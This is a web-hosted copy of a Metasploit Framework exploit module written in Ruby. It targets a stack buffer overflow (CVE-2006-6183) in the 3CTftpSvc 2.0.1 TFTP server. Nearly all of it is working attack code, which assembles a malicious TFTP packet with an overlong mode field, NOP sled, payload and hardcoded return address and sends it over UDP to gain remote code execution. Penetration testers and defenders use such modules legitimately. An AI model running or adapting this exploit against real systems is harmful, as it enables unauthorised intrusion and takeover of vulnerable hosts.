CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/tftp/threectftpsvc_long_mode.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Udp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => '3CTftpSvc TFTP Long Mode Buffer Overflow',
14
'Description' => %q{
15
This module exploits a stack buffer overflow in 3CTftpSvc 2.0.1. By
16
sending a specially crafted packet with an overly long mode
17
field, a remote attacker could overflow a buffer and execute
18
arbitrary code on the system.
19
},
20
'Author' => 'MC',
21
'References' =>
22
[
23
['CVE', '2006-6183'],
24
['OSVDB', '30758'],
25
['BID', '21301'],
26
['URL', 'http://web.archive.org/web/20070521014920/http://secunia.com:80/advisories/23113'],
27
],
28
'DefaultOptions' =>
29
{
30
'EXITFUNC' => 'thread',
31
},
32
'Payload' =>
33
{
34
'Space' => 400,
35
'BadChars' => "\x00",
36
'StackAdjustment' => -3500,
37
},
38
'Platform' => 'win',
39
'Targets' =>
40
[
41
[ '3CTftpSvc 2.0.1', { 'Ret' => 0x00402b02 } ],
42
],
43
'Privileged' => true,
44
'DefaultTarget' => 0,
45
'DisclosureDate' => '2006-11-27'))
46
47
register_options([Opt::RPORT(69)])
48
end
49
50
def exploit
51
connect_udp
52
53
sploit = "\x00\x02" + rand_text_alpha_upper(1) + "\x00" + make_nops(73)
54
sploit << payload.encoded + [target.ret].pack('V') + make_nops(25) + "\x00"
55
56
print_status("Trying target #{target.name}...")
57
58
udp_sock.put(sploit)
59
60
disconnect_udp
61
end
62
end
63
64